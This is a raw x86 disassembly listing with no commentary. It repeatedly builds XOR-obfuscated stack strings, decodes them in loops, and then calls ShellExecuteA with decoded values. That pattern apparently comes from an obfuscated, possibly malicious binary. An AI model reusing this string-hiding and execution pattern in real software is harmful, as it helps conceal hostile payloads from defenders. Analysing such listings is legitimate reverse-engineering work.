mov byte [ebp - 0x7b], 0x14
xor edx, edx
mov byte [ebp - 0x7a], 0xe8
mov byte [ebp - 0x79], 0xe7
mov byte [ebp - 0x78], 0x83
mov al, byte [ebp - 0x7b]
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x7b]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x7b], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45c8a6
lea eax, [ebp - 0x7b]
push eax
lea ecx, [ebp - 0x6ac]
call fcn.0040b750
mov dword [ebp - 4], 0x70
mov edx, eax
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 0x10
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x8f], 0x94
xor edx, edx
mov byte [ebp - 0x8e], 0x9e
mov byte [ebp - 0x8d], 0x9e
mov byte [ebp - 0x8c], 0x71
mov byte [ebp - 0x8b], 9
mov al, byte [ebp - 0x8f]
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x8f]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x8f], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 5
jb 0x45c942
lea eax, [ebp - 0x8f]
push eax
lea ecx, [ebp - 0x694]
call fcn.0040b750
mov dword [ebp - 4], 0x71
mov edx, eax
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 0x20
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x4f], 0
xor edx, edx
mov byte [ebp - 0x4e], 0xe9
mov byte [ebp - 0x4d], 0xe3
mov byte [ebp - 0x4c], 0x83
mov al, byte [ebp - 0x4f]
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x4f]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x4f], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45c9d1
lea eax, [ebp - 0x4f]
push eax
lea ecx, [ebp - 0x67c]
call fcn.0040b750
mov dword [ebp - 4], 0x72
mov edx, eax
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 0x40
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x53], 0x1a
xor edx, edx
mov byte [ebp - 0x52], 0xf7
mov byte [ebp - 0x51], 0xe3
mov byte [ebp - 0x50], 0x83
mov al, byte [ebp - 0x53]
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x53]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x53], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45ca57
lea eax, [ebp - 0x53]
push eax
lea ecx, [ebp - 0x664]
call fcn.0040b750
mov dword [ebp - 4], 0x73
mov edx, eax
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 0x80
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x8a], 0x9a
xor edx, edx
mov byte [ebp - 0x89], 0x81
mov byte [ebp - 0x88], 0x98
mov byte [ebp - 0x87], 0x6e
mov byte [ebp - 0x86], 9
mov al, byte [ebp - 0x8a]
mov dword [ebp - 0x18], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x8a]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x8a], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 5
jb 0x45cb00
lea eax, [ebp - 0x8a]
push eax
lea ecx, [ebp - 0x64c]
call fcn.0040b750
mov dword [ebp - 4], 0x74
mov edx, eax
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 0x100
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x57], 0x12
xor edx, edx
mov byte [ebp - 0x56], 0xea
mov byte [ebp - 0x55], 0xf4
mov byte [ebp - 0x54], 0x83
mov al, byte [ebp - 0x57]
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x57]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x57], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45cb92
lea eax, [ebp - 0x57]
push eax
lea ecx, [ebp - 0x634]
call fcn.0040b750
mov dword [ebp - 4], 0x75
mov edx, eax
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 0x200
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x5b], 0x12
xor edx, edx
mov byte [ebp - 0x5a], 0xe6
mov byte [ebp - 0x59], 0xf0
mov byte [ebp - 0x58], 0x83
mov al, byte [ebp - 0x5b]
mov dword [ebp - 0x18], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x5b]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x5b], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45cc20
lea eax, [ebp - 0x5b]
push eax
lea ecx, [ebp - 0x61c]
call fcn.0040b750
mov dword [ebp - 4], 0x76
mov edx, eax
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 0x400
mov dword [ebp - 0x14], ebx
call fcn.0048f540
test al, al
je 0x45cd21
mov byte [ebp - 0x5f], 6
xor edx, edx
mov byte [ebp - 0x5e], 0xe5
mov byte [ebp - 0x5d], 0xf7
mov byte [ebp - 0x5c], 0x83
mov al, byte [ebp - 0x5f]
mov dword [ebp - 0x18], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x5f]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x5f], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45ccb0
lea eax, [ebp - 0x5f]
push eax
lea ecx, [ebp - 0x604]
call fcn.0040b750
mov dword [ebp - 4], 0x77
mov edx, eax
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
or ebx, 0x800
mov dword [ebp - 0x14], ebx
call fcn.0048f540
mov byte [ebp - 0x19], 1
test al, al
jne 0x45cd25
mov byte [ebp - 0x19], 0
mov dword [ebp - 4], 0x76
test ebx, 0x800
je 0x45cd66
and ebx, 0xfffff7ff
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x78
lea ecx, [ebp - 0x604]
call fcn.0040b870
mov byte [ebp - 4], 0x76
lea eax, [ebp - 0x604]
mov dword [ebp - 0x4cc], eax
mov dword [ebp - 4], 0x76
mov dword [ebp - 4], 0x75
test ebx, 0x400
je 0x45cda7
and ebx, 0xfffffbff
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x7b
lea ecx, [ebp - 0x61c]
call fcn.0040b870
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x61c]
mov dword [ebp - 0x330], eax
mov dword [ebp - 4], 0x75
mov dword [ebp - 4], 0x74
test ebx, 0x200
je 0x45cde8
and ebx, 0xfffffdff
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x7e
lea ecx, [ebp - 0x634]
call fcn.0040b870
mov byte [ebp - 4], 0x74
lea eax, [ebp - 0x634]
mov dword [ebp - 0x334], eax
mov dword [ebp - 4], 0x74
mov dword [ebp - 4], 0x73
test ebx, 0x100
je 0x45ce29
and ebx, 0xfffffeff
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x81
lea ecx, [ebp - 0x64c]
call fcn.0040b870
mov byte [ebp - 4], 0x73
lea eax, [ebp - 0x64c]
mov dword [ebp - 0x338], eax
mov dword [ebp - 4], 0x73
mov dword [ebp - 4], 0x72
test bl, bl
jns 0x45ce66
and ebx, 0xffffff7f
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x84
lea ecx, [ebp - 0x664]
call fcn.0040b870
mov byte [ebp - 4], 0x72
lea eax, [ebp - 0x664]
mov dword [ebp - 0x33c], eax
mov dword [ebp - 4], 0x72
mov dword [ebp - 4], 0x71
test bl, 0x40
je 0x45cea1
and ebx, 0xffffffbf
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x87
lea ecx, [ebp - 0x67c]
call fcn.0040b870
mov byte [ebp - 4], 0x71
lea eax, [ebp - 0x67c]
mov dword [ebp - 0x340], eax
mov dword [ebp - 4], 0x71
mov dword [ebp - 4], 0x70
test bl, 0x20
je 0x45cedc
and ebx, 0xffffffdf
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x8a
lea ecx, [ebp - 0x694]
call fcn.0040b870
mov byte [ebp - 4], 0x70
lea eax, [ebp - 0x694]
mov dword [ebp - 0x344], eax
mov dword [ebp - 4], 0x70
mov dword [ebp - 4], 0x6f
test bl, 0x10
je 0x45cf17
and ebx, 0xffffffef
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x8d
lea ecx, [ebp - 0x6ac]
call fcn.0040b870
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0x6ac]
mov dword [ebp - 0x348], eax
mov dword [ebp - 4], 0x6f
mov dword [ebp - 4], 0x6e
test bl, 8
je 0x45cf52
and ebx, 0xfffffff7
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x90
lea ecx, [ebp - 0x6c4]
call fcn.0040b870
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0x6c4]
mov dword [ebp - 0x34c], eax
mov dword [ebp - 4], 0x6e
mov dword [ebp - 4], 0x6b
test bl, 4
je 0x45cf8d
and ebx, 0xfffffffb
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x93
lea ecx, [ebp - 0x514]
call fcn.0040b870
mov byte [ebp - 4], 0x6b
lea eax, [ebp - 0x514]
mov dword [ebp - 0x350], eax
mov dword [ebp - 4], 0x6b
mov dword [ebp - 4], 0x68
test bl, 2
je 0x45cfc8
and ebx, 0xfffffffd
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x96
lea ecx, [ebp - 0x52c]
call fcn.0040b870
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x52c]
mov dword [ebp - 0x354], eax
mov dword [ebp - 4], 0x68
mov dword [ebp - 4], 0x65
test bl, 1
je 0x45cffd
and ebx, 0xfffffffe
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0x544]
call fcn.0040b870
mov byte [ebp - 4], 0x65
lea eax, [ebp - 0x544]
mov dword [ebp - 0x1e4], eax
mov byte [ebp - 4], 0x65
cmp byte [ebp - 0x19], 0
je 0x45d079
mov byte [ebp - 0x38], 0x15
xor edx, edx
mov byte [ebp - 0x37], 0xff
mov byte [ebp - 0x36], 0xe1
mov byte [ebp - 0x35], 0x83
mov al, byte [ebp - 0x38]
mov dword [ebp - 0x18], edx
nop
mov bl, byte [ebp + edx - 0x38]
mov ecx, edx
and ecx, 0xf
mov eax, 0x44fe157f
cmp ecx, 0xf
mov edx, 0xb74671c3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x7f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x38], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 4
jb 0x45d020
lea ecx, [ebp - 0x38]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45d060
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x160]
call fcn.0048a3c0
mov byte [ebp - 0x26], 0x6e
xor edx, edx
mov byte [ebp - 0x25], 0x4c
mov al, byte [ebp - 0x26]
mov dword [ebp - 0x18], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x26]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x26], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 2
jb 0x45d090
mov edx, 0x14
lea ecx, [ebp - 0x6f4]
call fcn.004159b0
mov esi, eax
mov byte [ebp - 4], 0x9c
xor edx, edx
mov byte [ebp - 0x34], 0x1c
mov byte [ebp - 0x33], 0x4c
mov cl, byte [ebp - 0x34]
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x34]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x34], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 2
jb 0x45d0f0
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp + 0x80]
lea ecx, [ebp - 0x6dc]
call fcn.0048eb20
add esp, 4
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x5bc]
push esi
push eax
push dword [ebp - 0x1e4]
call fcn.00492c20
mov esi, dword [ebp - 0x14]
or esi, 0x20000
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x26]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45d170
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x5bc]
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x5a4]
call fcn.0040b700
lea eax, [ebp - 0x160]
or esi, 0x40000
push eax
lea edx, [ebp - 0x5a4]
mov dword [ebp - 0x14], esi
lea ecx, [ebp - 0x574]
call fcn.0048ed80
add esp, 4
mov byte [ebp - 4], 0xa0
and esi, 0xfffbffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x5a4]
call fcn.0040b870
mov byte [ebp - 4], 0xa1
lea eax, [ebp - 0x5a4]
mov dword [ebp - 0x35c], eax
mov byte [ebp - 4], 0xa1
and esi, 0xfffdffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0x5bc]
call fcn.0040b870
mov byte [ebp - 4], 0xa5
lea eax, [ebp - 0x5bc]
mov dword [ebp - 0x360], eax
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x6dc]
call fcn.0040b870
mov byte [ebp - 4], 0xa9
lea eax, [ebp - 0x6dc]
mov dword [ebp - 0x364], eax
mov byte [ebp - 4], 0xae
lea ecx, [ebp - 0x6f4]
call fcn.0040b870
mov byte [ebp - 4], 0xad
lea eax, [ebp - 0x6f4]
mov dword [ebp - 0x368], eax
mov byte [ebp - 4], 0xad
xor edx, edx
mov byte [ebp - 0xd3], 0x38
mov byte [ebp - 0xd2], 0x2f
mov byte [ebp - 0xd1], 0x2e
mov byte [ebp - 0xd0], 0x15
mov byte [ebp - 0xcf], 0x17
mov byte [ebp - 0xce], 0x5a
mov byte [ebp - 0xcd], 0x45
mov byte [ebp - 0xcc], 0x4a
mov byte [ebp - 0xcb], 0x6c
mov al, byte [ebp - 0xd3]
mov dword [ebp - 0x18], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xd3]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xd3], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 9
jb 0x45d2a0
lea ecx, [ebp - 0x55c]
call fcn.0040ba70
lea ecx, [ebp - 0xd3]
push ecx
push eax
call fcn.004fd9b0
add esp, 8
lea ecx, [ebp - 0x574]
test eax, eax
setne byte [ebp - 0x19c]
call fcn.0040ba70
lea ecx, [ebp - 0x55c]
mov esi, eax
call fcn.0040ba70
push 0x7530
push 0
push dword [ebp - 0x19c]
mov edx, esi
mov ecx, eax
call fcn.004a8240
add esp, 0xc
test al, al
je 0x45d3fd
lea ecx, [ebp - 0x574]
call fcn.0040ba70
mov byte [ebp - 0x85], 0x9f
xor edx, edx
mov byte [ebp - 0x84], 0x81
mov esi, eax
mov byte [ebp - 0x83], 0x98
mov byte [ebp - 0x82], 0x67
mov byte [ebp - 0x81], 9
mov cl, byte [ebp - 0x85]
mov dword [ebp - 0x18], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x85]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x85], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 5
jb 0x45d380
push 1
push 0
push 0
push esi
lea eax, [ebp - 0x85]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x5ec]
mov ecx, esp
mov dword [ebp - 0x36c], esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0xb1
mov byte [ebp - 4], 0xad
call fcn.00430350
add esp, 0x18
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0x574]
call fcn.0040b870
mov byte [ebp - 4], 0x65
lea eax, [ebp - 0x574]
mov dword [ebp - 0x370], eax
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x298]
call fcn.0048c6c0
mov byte [ebp - 4], 0xb5
lea ecx, [ebp - 0x160]
call fcn.0040b870
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x160]
mov dword [ebp - 0x374], eax
mov byte [ebp - 4], 0x21
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x194]
call fcn.0048c6c0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x16c]
call fcn.0048c6c0
mov byte [ebp - 4], 0xb8
lea ecx, [ebp - 0x55c]
call fcn.0040b870
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x55c]
mov dword [ebp - 0x378], eax
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0x22c]
call fcn.0040b870
mov byte [ebp - 4], 9
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x37c], eax
mov byte [ebp - 4], 0xbe
lea ecx, [ebp - 0x5d4]
call fcn.0040b870
mov byte [ebp - 4], 8
lea eax, [ebp - 0x5d4]
mov dword [ebp - 0x1a0], eax
mov byte [ebp - 4], 0xc1
lea ecx, [ebp - 0x5ec]
call fcn.0040b870
mov byte [ebp - 4], 7
lea eax, [ebp - 0x5ec]
mov dword [ebp - 0x198], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x24c]
call fcn.00487940
lea eax, [ebp - 0x4a4]
push eax
lea ecx, [ebp - 0x24c]
call fcn.0048bbd0
mov edi, 0xf
test al, al
je 0x45a580
mov byte [ebp - 4], 0xc4
lea ecx, [ebp + 8]
call fcn.0040b870
mov byte [ebp - 4], 6
lea eax, [ebp + 8]
mov dword [ebp - 0x198], eax
mov byte [ebp - 4], 5
lea ecx, [ebp + 0x28]
push dword [ebp + 0x20]
call fcn.0048bd40
mov byte [ebp - 4], 4
lea ecx, [ebp + 0x38]
push dword [ebp + 0x30]
call fcn.0048bd40
mov byte [ebp - 4], 3
lea ecx, [ebp + 0x48]
push dword [ebp + 0x40]
call fcn.0048bd40
mov byte [ebp - 4], 2
lea ecx, [ebp + 0x58]
push dword [ebp + 0x50]
call fcn.0048bd40
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x68]
push dword [ebp + 0x60]
call fcn.0048bd40
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x78]
push dword [ebp + 0x70]
call fcn.0048bd40
mov dword [ebp - 4], 0xc7
lea ecx, [ebp + 0x80]
call fcn.0040b870
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp + 0x80]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret